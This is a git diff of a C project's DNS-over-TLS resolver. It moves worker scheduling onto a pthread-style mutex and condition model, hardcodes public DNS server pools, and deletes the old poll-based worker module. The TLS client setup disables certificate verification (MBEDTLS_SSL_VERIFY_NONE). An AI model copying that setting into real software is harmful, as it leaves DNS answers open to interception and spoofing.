- ctx->sck_pfd_slot[1] == NULL) {
- goto ERR;
- }
-
- ctx->dnssrv_4.arr = NULL;
- ctx->dnssrv_6.arr = NULL;
- ctx->dnssrv_4.cnt = 8;
- ctx->dnssrv_6.cnt = 8;
- ctx->dnssrv_4.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_4.cnt);
- ctx->dnssrv_6.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_6.cnt);
- ctx->dnssrv_4.arr = prne_malloc(sizeof(prne_net_endpoint_t), ctx->dnssrv_4.cnt);
- ctx->dnssrv_6.arr = prne_malloc(sizeof(prne_net_endpoint_t), ctx->dnssrv_6.cnt);
- if (ctx->dnssrv_4.arr == NULL || ctx->dnssrv_6.arr == NULL) {
- goto ERR;
- }
- // IPv4 servers
- // Google
- prne_true_or_die(prne_net_ep_set_ipv4("8.8.8.8", 853, ctx->dnssrv_4.arr + 0));
- prne_true_or_die(prne_net_ep_set_ipv4("8.8.4.4", 853, ctx->dnssrv_4.arr + 1));
- // Cloudflare
- prne_true_or_die(prne_net_ep_set_ipv4("1.1.1.1", 853, ctx->dnssrv_4.arr + 2));
- prne_true_or_die(prne_net_ep_set_ipv4("1.0.0.1", 853, ctx->dnssrv_4.arr + 3));
- // Quad9
- prne_true_or_die(prne_net_ep_set_ipv4("9.9.9.10", 853, ctx->dnssrv_4.arr + 4));
- prne_true_or_die(prne_net_ep_set_ipv4("149.112.112.10", 853, ctx->dnssrv_4.arr + 5));
- // CleanBrowsing
- prne_true_or_die(prne_net_ep_set_ipv4("185.228.168.9", 853, ctx->dnssrv_4.arr + 6));
- prne_true_or_die(prne_net_ep_set_ipv4("185.228.169.9", 853, ctx->dnssrv_4.arr + 7));
- // IPv6 servers
- // Google
- prne_true_or_die(prne_net_ep_set_ipv6("2001:4860:4860::8888", 853, ctx->dnssrv_6.arr + 0));
- prne_true_or_die(prne_net_ep_set_ipv6("2001:4860:4860::8844", 853, ctx->dnssrv_6.arr + 1));
- // Cloudflare
- prne_true_or_die(prne_net_ep_set_ipv6("2606:4700:4700::1111", 853, ctx->dnssrv_6.arr + 2));
- prne_true_or_die(prne_net_ep_set_ipv6("2606:4700:4700::1001", 853, ctx->dnssrv_6.arr + 3));
- // Quad9
- prne_true_or_die(prne_net_ep_set_ipv6("2620:fe::fe", 853, ctx->dnssrv_6.arr + 4));
- prne_true_or_die(prne_net_ep_set_ipv6("2620:fe::9", 853, ctx->dnssrv_6.arr + 5));
- // CleanBrowsing
- prne_true_or_die(prne_net_ep_set_ipv6("2a0d:2a00:1::2", 853, ctx->dnssrv_6.arr + 6));
- prne_true_or_die(prne_net_ep_set_ipv6("2a0d:2a00:2::2", 853, ctx->dnssrv_6.arr + 7));
-
- OK_OR_ERR(pipe(ctx->evtfd));
- OK_OR_ERR(resolv_set_cmn_fd_opt(ctx->evtfd[0]));
- OK_OR_ERR(resolv_set_cmn_fd_opt(ctx->evtfd[1]));
- prne_set_pipe_size(ctx->evtfd[0], 1);
- ctx->evt_pfd_slot->pfd.fd = ctx->evtfd[0];
- ctx->evt_pfd_slot->pfd.events = POLLIN;
+ pth_mutex_init(&ctx->lock);
+ pth_cond_init(&ctx->cond);
+ ctx->dnssrv_4 = RESOLV_DEF_IPV4_POOL;
+ ctx->dnssrv_6 = RESOLV_DEF_IPV6_POOL;
+ ctx->ptr_dnssrv4 = resolv_next_pool_ptr(ctx, ctx->dnssrv_4.cnt);
+ ctx->ptr_dnssrv6 = resolv_next_pool_ptr(ctx, ctx->dnssrv_6.cnt);
if (mbedtls_ssl_config_defaults(&ctx->ssl.conf, MBEDTLS_SSL_IS_CLIENT, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) != 0) {
goto ERR;
}
mbedtls_ssl_conf_rng(&ctx->ssl.conf, mbedtls_ctr_drbg_random, ctx->ssl.ctr_drbg);
mbedtls_ssl_conf_authmode(&ctx->ssl.conf, MBEDTLS_SSL_VERIFY_NONE);
- w->ctx = ctx;
- w->free = resolv_wkr_free;
- w->fin = resolv_wkr_fin;
- w->work = resolv_wkr_work;
- w->has_finalised = resolv_wkr_has_finalised;
+ wkr->ctx = ctx;
+ wkr->free_ctx = resolv_wkr_free;
+ wkr->fin = resolv_wkr_fin;
+ wkr->entry = resolv_wkr_entry;
return ctx;
ERR:
if (ctx != NULL) {
- prne_free_wkr_timeout_slot(ctx->sckop_to_slot);
- prne_free_wkr_timeout_slot(ctx->err_to_slot);
- prne_free_wkr_pollfd_slot(ctx->evt_pfd_slot);
- prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[0]);
- prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[1]);
- prne_free(ctx->dnssrv_4.arr);
- prne_free(ctx->dnssrv_6.arr);
prne_free_llist(&ctx->qlist);
prne_free_imap(&ctx->qid_map);
mbedtls_ssl_config_free(&ctx->ssl.conf);
mbedtls_ssl_free(&ctx->ssl.ctx);
- prne_close(ctx->evtfd[0]);
- prne_close(ctx->evtfd[1]);
-
prne_free(ctx);
}
return NULL;
}
-bool prne_resolv_prm_gethostbyname (prne_resolv_wkr_ctx_t wkr, const char *name, const prne_ipv_t ipv, prne_resolv_prm_t *out, const struct timespec *timeout) {
+bool prne_resolv_prm_gethostbyname (prne_resolv_t *wkr, const char *name, const prne_ipv_t ipv, prne_pth_cv_t *cv, prne_resolv_prm_t *out) {
bool ret;
query_entry_t *q_ent;
prne_resolv_query_type_t qt;
-
- if (wkr->wkr_state != RESOLV_WKR_STATE_OK) {
- errno = EPIPE;
- return false;
- }
switch (ipv) {
case PRNE_IPV_4: qt = PRNE_RESOLV_QT_A; break;
@@ -1416,7 +1313,7 @@ bool prne_resolv_prm_gethostbyname (prne_resolv_wkr_ctx_t wkr, const char *name,
return false;
}
- ret = resolv_qq(wkr, name, out, timeout, &q_ent);
+ ret = resolv_qq(wkr, name, cv, out, &q_ent);
if (ret) {
q_ent->ipv = ipv;
q_ent->type = qt;
@@ -1425,16 +1322,11 @@ bool prne_resolv_prm_gethostbyname (prne_resolv_wkr_ctx_t wkr, const char *name,
return ret;
}
-bool prne_resolv_prm_gettxtrec (prne_resolv_wkr_ctx_t wkr, const char *name, prne_resolv_prm_t *out, const struct timespec *timeout) {
+bool prne_resolv_prm_gettxtrec (prne_resolv_t *wkr, const char *name, prne_pth_cv_t *cv, prne_resolv_prm_t *out) {
bool ret;
query_entry_t *q_ent;
- if (wkr->wkr_state != RESOLV_WKR_STATE_OK) {
- errno = EPIPE;
- return false;
- }
-
- ret = resolv_qq(wkr, name, out, timeout, &q_ent);
+ ret = resolv_qq(wkr, name, cv, out, &q_ent);
if (ret) {
q_ent->type = PRNE_RESOLV_QT_TXT;
}
@@ -1446,11 +1338,11 @@ void prne_resolv_free_prm (prne_resolv_prm_t *prm) {
if (prm->ctx != NULL) {
query_entry_t *ent = (query_entry_t*)prm->ctx;
- if (ent->wkr != NULL) {
- prne_llist_erase(&ent->wkr->qlist, ent->qlist_ent);
+ if (ent->owner != NULL) {
+ prne_llist_erase(&ent->owner->qlist, ent->qlist_ent);
- if (prne_imap_lookup(&ent->wkr->qid_map, ent->qid) != NULL) {
- prne_imap_insert(&ent->wkr->qid_map, ent->qid, 0);
+ if (prne_imap_lookup(&ent->owner->qid_map, ent->qid) != NULL) {
+ prne_imap_insert(&ent->owner->qid_map, ent->qid, 0);
}
}
resolv_free_q_ent(ent);
@@ -1458,13 +1350,11 @@ void prne_resolv_free_prm (prne_resolv_prm_t *prm) {
prm->ctx = NULL;
prm->fut = NULL;
- prm->evtfd = -1;
}
void prne_resolv_init_prm (prne_resolv_prm_t *prm) {
prm->ctx = NULL;
prm->fut = NULL;
- prm->evtfd = -1;
}
void prne_init_resolv_fut (prne_resolv_fut_t *fut) {
diff --git a/src/resolv_worker.h b/src/resolv.h
index c76152f..650406c 100644
--- a/src/resolv_worker.h
+++ b/src/resolv.h
@@ -1,12 +1,12 @@
#pragma once
#include "protocol.h"
-#include "worker.h"
+#include "pth.h"
#include <mbedtls/ctr_drbg.h>
-struct prne_resolv_wkr_ctx;
-typedef struct prne_resolv_wkr_ctx* prne_resolv_wkr_ctx_t;
+struct prne_resolv;
+typedef struct prne_resolv prne_resolv_t;
struct prne_resolv_prm;
struct prne_resolv_fut;
@@ -43,7 +43,6 @@ typedef enum {
struct prne_resolv_prm {
void *ctx;
prne_resolv_fut_t *fut;
- int evtfd;
};
struct prne_resolv_fut {
@@ -80,9 +79,9 @@ struct prne_resolv_rr {
#define PRNE_RESOLV_RTYPE_AAAA 28
-prne_resolv_wkr_ctx_t prne_alloc_resolv_worker (prne_worker_t *w, prne_wkr_sched_req_t *wsr, mbedtls_ctr_drbg_context *ctr_drbg);
-bool prne_resolv_prm_gethostbyname (prne_resolv_wkr_ctx_t wkr, const char *name, const prne_ipv_t ipv, prne_resolv_prm_t *out, const struct timespec *timeout);
-bool prne_resolv_prm_gettxtrec (prne_resolv_wkr_ctx_t wkr, const char *name, prne_resolv_prm_t *out, const struct timespec *timeout);
+prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context *ctr_drbg);
+bool prne_resolv_prm_gethostbyname (prne_resolv_t *ctx, const char *name, const prne_ipv_t ipv, prne_pth_cv_t *cv, prne_resolv_prm_t *out);
+bool prne_resolv_prm_gettxtrec (prne_resolv_t *ctx, const char *name, prne_pth_cv_t *cv, prne_resolv_prm_t *out);
void prne_resolv_init_prm (prne_resolv_prm_t *prm);
void prne_resolv_free_prm (prne_resolv_prm_t *prm);
diff --git a/src/util_ct.h b/src/util_ct.h
index 134ac57..cd21a12 100644
--- a/src/util_ct.h
+++ b/src/util_ct.h
@@ -13,3 +13,11 @@
#if !defined(memzero)
#define memzero(addr, len) memset(addr, 0, len)
#endif
+
+#ifdef PRNE_DEBUG
+#define prne_dbgpf(...) fprintf(stderr, __VA_ARGS__)
+#define prne_dbgperr(str) perror(str)
+#else
+#define prne_dbgpf(fmt, ...)
+#define prne_dbgperr(str)
+#endif
diff --git a/src/util_rt.c b/src/util_rt.c
index cdf4526..d42cc7d 100644
--- a/src/util_rt.c
+++ b/src/util_rt.c
@@ -4,6 +4,7 @@
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
+#include <time.h>
#include <errno.h>
#include <unistd.h>
@@ -12,41 +13,20 @@
#include <sys/socket.h>
#include <mbedtls/base64.h>
+#include <pthsem.h>
-void prne_ok_or_die (const int ret) {
- if (ret < 0) {
- abort();
- }
-}
-
-void prne_true_or_die (const bool ret) {
+void prne_assert (const bool ret) {
if (!ret) {
- abort();
- }
-}
+ volatile const int err = errno;
-void prne_empty_func (void) {}
-
-bool prne_is_nonblock_errno (void) {
- switch (errno) {
-#if EAGAIN == EWOULDBLOCK
- case EAGAIN:
-#else
- case EAGAIN:
- case EWOULDBLOCK:
-#endif
- case EINPROGRESS:
- return true;
+ if (true || err) {
+ abort();
+ }
}
- return false;
}
-void prne_die_not_nonblock_err (void) {
- if (!prne_is_nonblock_errno()) {
- abort();
- }
-}
+void prne_empty_func (void) {}
void prne_close (const int fd) {
if (fd >= 0) {
@@ -146,7 +126,7 @@ size_t prne_nstrlen (const char *s) {
}
void prne_rnd_anum_str (mbedtls_ctr_drbg_context *rnd, char *str, const size_t len) {
- static const char SET[] = "qwertyuiopasdfghjklzxcvbnm0123456789";
+ static const char SET[] = { 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9' };
size_t i = 0;
uint32_t n;
@@ -339,6 +319,12 @@ struct timespec prne_max_timespec (const struct timespec a, const struct timespe
return prne_cmp_timespec(a, b) > 0 ? a : b;
}
+struct timespec prne_gettime (const clockid_t cid) {
+ struct timespec ret;
+ prne_assert(clock_gettime(cid, &ret) == 0);
+ return ret;
+}
+
char *prne_enc_base64_mem (const uint8_t *data, const size_t size) {
size_t ret_size;
char *ret;
diff --git a/src/util_rt.h b/src/util_rt.h
index 9878064..ef241fc 100644
--- a/src/util_rt.h
+++ b/src/util_rt.h
@@ -6,6 +6,8 @@
#include <stdint.h>
#include <time.h>
+#include <sys/poll.h>
+
#include <mbedtls/ctr_drbg.h>
@@ -32,11 +34,8 @@ bool prne_strendsw (const char *str, const char *w) {
}
#endif
-void prne_ok_or_die (const int ret);
-void prne_true_or_die (const bool ret);
+void prne_assert (const bool ret);
void prne_empty_func (void);
-bool prne_is_nonblock_errno (void);
-void prne_die_not_nonblock_err (void);
void prne_close (const int fd);
void prne_shutdown (const int fd, const int how);
@@ -64,6 +63,7 @@ double prne_real_timespec (const struct timespec ts);
int prne_cmp_timespec (const struct timespec a, const struct timespec b);
struct timespec prne_min_timespec (const struct timespec a, const struct timespec b);
struct timespec prne_max_timespec (const struct timespec a, const struct timespec b);
+struct timespec prne_gettime (const clockid_t cid);
char *prne_enc_base64_mem (const uint8_t *data, const size_t size);
bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, size_t *size);
diff --git a/src/worker.c b/src/worker.c
deleted file mode 100644
index b3dc714..0000000
--- a/src/worker.c
+++ /dev/null
@@ -1,290 +0,0 @@
-#include "worker.h"
-#include "util_rt.h"
-#include "util_ct.h"
-
-#include <string.h>
-#include <time.h>
-#include <assert.h>
-#include <errno.h>
-
-
-void prne_init_wkr_sched_req (prne_wkr_sched_req_t *r) {
- r->pfd_arr = NULL;
- r->pfd_arr_size = 0;
- prne_init_llist(&r->tos_list);
- prne_init_llist(&r->pfd_list);
- r->timeout_active = false;
-}
-
-void prne_free_wkr_sched_req (prne_wkr_sched_req_t *r) {
- prne_llist_entry_t *cur;
- prne_wkr_timeout_slot_pt to_slot;
- prne_wkr_pollfd_slot_pt pfd_slot;
-
- if (r == NULL) {
- return;
- }
-
- cur = r->tos_list.head;
- while (cur != NULL) {
- to_slot = (prne_wkr_timeout_slot_pt)cur->element;
- to_slot->parent.ent = NULL;
- to_slot->parent.wsr = NULL;
- cur = cur->next;
- }
- cur = r->pfd_list.head;
- while (cur != NULL) {
- pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element;
- pfd_slot->parent.ent = NULL;
- pfd_slot->parent.wsr = NULL;
- cur = cur->next;
- }
-
- prne_free(r->pfd_arr);
- prne_free_llist(&r->tos_list);
- prne_free_llist(&r->pfd_list);
- r->pfd_arr = NULL;
- r->pfd_arr_size = 0;
- r->timeout_active = false;
-}
-
-bool prne_wkr_sched_req_prep_poll (prne_wkr_sched_req_t *r) {
- prne_llist_entry_t *cur;
- prne_wkr_timeout_slot_pt to_slot;
- prne_wkr_pollfd_slot_pt pfd_slot;
- size_t i = 0;
-
- cur = r->pfd_list.head;
- while (cur != NULL) {
- pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element;
- if (pfd_slot->pfd.fd >= 0) {
- i += 1;
- }
- cur = cur->next;
- }
- if (i > 0) {
- void *ny_mem;
-
- ny_mem = prne_realloc(r->pfd_arr, sizeof(struct pollfd), i);
- if (ny_mem != NULL) {
- r->pfd_arr = (struct pollfd*)ny_mem;
- r->pfd_arr_size = i;
-
- i = 0;
- cur = r->pfd_list.head;
- while (cur != NULL) {
- pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element;
- if (pfd_slot->pfd.fd >= 0) {
- pfd_slot->pfd.revents = 0;
- r->pfd_arr[i].fd = pfd_slot->pfd.fd;
- r->pfd_arr[i].events = pfd_slot->pfd.events;
- i += 1;
- }
- cur = cur->next;
- }
- }
- else {
- return false;
- }
- }
- else {
- prne_free(r->pfd_arr);
- r->pfd_arr = NULL;
- r->pfd_arr_size = 0;
- }
-
- r->timeout_active = false;
- cur = r->tos_list.head;
- while (cur != NULL) {
- to_slot = (prne_wkr_timeout_slot_pt)cur->element;
- if (to_slot->active) {
- if (r->timeout_active) {
- r->timeout = prne_min_timespec(r->timeout, to_slot->dur);
- }
- else {
- r->timeout = to_slot->dur;
- r->timeout_active = true;
- }
- }
- cur = cur->next;
- }
-
- return true;
-}
-
-void prne_wkr_sched_req_refl_poll (prne_wkr_sched_req_t *r, const int poll_ret, const struct timespec elapsed) {
- prne_llist_entry_t *cur;
-
- if (r->timeout_active) {
- prne_wkr_timeout_slot_pt to_slot;
-
- cur = r->tos_list.head;
- while (cur != NULL) {
- to_slot = (prne_wkr_timeout_slot_pt)cur->element;
- if (to_slot->active) {
- if (prne_cmp_timespec(to_slot->dur, elapsed) > 0) {
- to_slot->dur = prne_sub_timespec(to_slot->dur, elapsed);
- to_slot->reached = false;
- }
- else {
- to_slot->dur.tv_sec = 0;
- to_slot->dur.tv_nsec = 0;
- to_slot->reached = true;
- }
- }
-
- cur = cur->next;
- }
- }
-
- if (poll_ret > 0) {
- prne_wkr_pollfd_slot_pt pfd_slot;
- size_t i = 0, ret_evts = 0;
-
- cur = r->pfd_list.head;
- while (cur != NULL) {
- pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element;
- if (pfd_slot->pfd.fd >= 0) {
- assert(pfd_slot->pfd.fd == r->pfd_arr[i].fd);
-
- pfd_slot->pfd.revents = r->pfd_arr[i].revents;
- if (pfd_slot->pfd.revents) {
- ret_evts += 1;
- }
- if (ret_evts >= (size_t)poll_ret) {
- break;
- }
- i += 1;
- }
- cur = cur->next;
- }
- }
-}
-
-bool prne_wkr_sched_req_do_poll (prne_wkr_sched_req_t *r, int *poll_ret) {
- bool ret = false;
-
- *poll_ret = 0;
- if (r->pfd_arr_size > 0) {
- *poll_ret = ppoll(r->pfd_arr, r->pfd_arr_size, r->timeout_active ? &r->timeout : NULL, NULL);
- if (*poll_ret < 0) {
- switch (errno) {
- case EINTR:
- case ENOMEM:
- break;
- default:
- abort();
- }
- }
- else {
- ret = true;
- }
- }
- else if (r->timeout_active) {
- if (nanosleep(&r->timeout, NULL) < 0 && errno != EINTR) {
- abort();
- }
- ret = true;
- }
- else {
- ret = true;
- }
-
- return ret;
-}
-
-prne_wkr_timeout_slot_pt prne_alloc_wkr_timeout_slot (prne_wkr_sched_req_t *r) {
- prne_wkr_timeout_slot_pt ret = NULL;
- prne_llist_entry_t *ent = NULL;
-
- ret = prne_malloc(sizeof(struct prne_wkr_timeout_slot), 1);
- if (ret == NULL) {
- goto ERR;
- }
- ent = prne_llist_append(&r->tos_list, ret);
- if (ent == NULL) {
- goto ERR;
- }
-
- ret->parent.ent = ent;
- ret->parent.wsr = r;
- ret->active = false;
- ret->reached = false;
- return ret;
-ERR:
- prne_free(ret);
- prne_llist_erase(&r->tos_list, ent);
-
- return NULL;
-}
-
-void prne_free_wkr_timeout_slot (prne_wkr_timeout_slot_pt s) {
- if (s == NULL) {
- return;
- }
-
- if (s->parent.wsr != NULL) {
- prne_llist_erase(&s->parent.wsr->tos_list, s->parent.ent);
- }
- prne_free(s);
-}
-
-prne_wkr_pollfd_slot_pt prne_alloc_wkr_pollfd_slot (prne_wkr_sched_req_t *r) {
- prne_wkr_pollfd_slot_pt ret = NULL;
- prne_llist_entry_t *ent = NULL;
-
- ret = prne_malloc(sizeof(struct prne_wkr_pollfd_slot), 1);
- if (ret == NULL) {
- goto ERR;
- }
- ent = prne_llist_append(&r->pfd_list, ret);
- if (ent == NULL) {
- goto ERR;
- }
-
- ret->parent.ent = ent;
- ret->parent.wsr = r;
- ret->pfd.fd = -1;
- ret->pfd.events = 0;
- ret->pfd.revents = 0;
- return ret;
-ERR:
- prne_free(ret);
- prne_llist_erase(&r->pfd_list, ent);
-
- return NULL;
-}
-
-void prne_free_wkr_pollfd_slot (prne_wkr_pollfd_slot_pt s) {
- if (s == NULL) {
- return;
- }
-
- if (s->parent.wsr != NULL) {
- prne_llist_erase(&s->parent.wsr->pfd_list, s->parent.ent);
- }
- prne_free(s);
-}
-
-void prne_init_wkr_tick_info (prne_wkr_tick_info_t *ti) {
- memzero(ti, sizeof(prne_wkr_tick_info_t));
-}
-
-void prne_free_wkr_tick_info (prne_wkr_tick_info_t *ti) {
- // left for future code
-}
-
-void prne_wkr_tick_info_set_start (prne_wkr_tick_info_t *ti) {
- prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &ti->this_tick));
- ti->last_tick = ti->this_tick;
- ti->tick_diff.tv_sec = 0;
- ti->tick_diff.tv_nsec = 0;
- ti->real_tick_diff = 0.0;
-}
-
-void prne_wkr_tick_info_set_tick (prne_wkr_tick_info_t *ti) {
- ti->last_tick = ti->this_tick;
- prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &ti->this_tick));
- ti->tick_diff = prne_sub_timespec(ti->this_tick, ti->last_tick);
- ti->real_tick_diff = prne_real_timespec(ti->tick_diff);
-}
diff --git a/src/worker.h b/src/worker.h
deleted file mode 100644
index 78661a1..0000000
--- a/src/worker.h
+++ /dev/null
@@ -1,79 +0,0 @@
-#pragma once
-#include <stddef.h>
-#include <stdint.h>
-#include <stdbool.h>
-#include <time.h>
-#include <poll.h>
-
-#include "llist.h"
-
-
-struct prne_wkr_timeout_slot;
-struct prne_wkr_pollfd_slot;
-struct prne_wkr_tick_info;
-struct prne_wkr_sched_req;
-typedef struct prne_wkr_timeout_slot* prne_wkr_timeout_slot_pt;
-typedef struct prne_wkr_pollfd_slot* prne_wkr_pollfd_slot_pt;
-typedef struct prne_wkr_sched_req prne_wkr_sched_req_t;
-typedef struct prne_wkr_tick_info prne_wkr_tick_info_t;
-typedef struct prne_worker prne_worker_t;
-
-struct prne_wkr_slot_parent {
- prne_llist_entry_t *ent;
- prne_wkr_sched_req_t *wsr;
-};
-
-struct prne_wkr_timeout_slot {
- struct timespec dur;
- struct prne_wkr_slot_parent parent;
- bool active;
- bool reached;
-};
-
-struct prne_wkr_pollfd_slot {
- struct pollfd pfd;
- struct prne_wkr_slot_parent parent;
-};
-
-struct prne_wkr_sched_req {
- struct pollfd *pfd_arr;
- size_t pfd_arr_size;
- struct timespec timeout;
- prne_llist_t tos_list;
- prne_llist_t pfd_list;
- bool timeout_active;
-};
-
-struct prne_wkr_tick_info {
- struct timespec last_tick;
- struct timespec this_tick;
- struct timespec tick_diff;
- double real_tick_diff;
-};
-
-struct prne_worker {
- intptr_t id;
- void *ctx;
-
- void (*free)(void *ctx);
- void (*fin)(void *ctx);
- void (*work)(void *ctx, const prne_wkr_tick_info_t *sched_info);
- bool (*has_finalised)(void *ctx);
-};
-
-
-void prne_init_wkr_sched_req (prne_wkr_sched_req_t *r);
-void prne_free_wkr_sched_req (prne_wkr_sched_req_t *r);
-bool prne_wkr_sched_req_prep_poll (prne_wkr_sched_req_t *r);
-void prne_wkr_sched_req_refl_poll (prne_wkr_sched_req_t *r, const int poll_ret, const struct timespec elapsed);
-bool prne_wkr_sched_req_do_poll (prne_wkr_sched_req_t *r, int *poll_ret);
-
-prne_wkr_timeout_slot_pt prne_alloc_wkr_timeout_slot (prne_wkr_sched_req_t *r);
-void prne_free_wkr_timeout_slot (prne_wkr_timeout_slot_pt s);
-prne_wkr_pollfd_slot_pt prne_alloc_wkr_pollfd_slot (prne_wkr_sched_req_t *r);
-void prne_free_wkr_pollfd_slot (prne_wkr_pollfd_slot_pt s);
-
-void prne_init_wkr_tick_info (prne_wkr_tick_info_t *ti);
-void prne_free_wkr_tick_info (prne_wkr_tick_info_t *ti);
-void prne_wkr_tick_info_set_start (prne_wkr_tick_info_t *ti);
-void prne_wkr_tick_info_set_tick (prne_wkr_tick_info_t *ti); \ No newline at end of file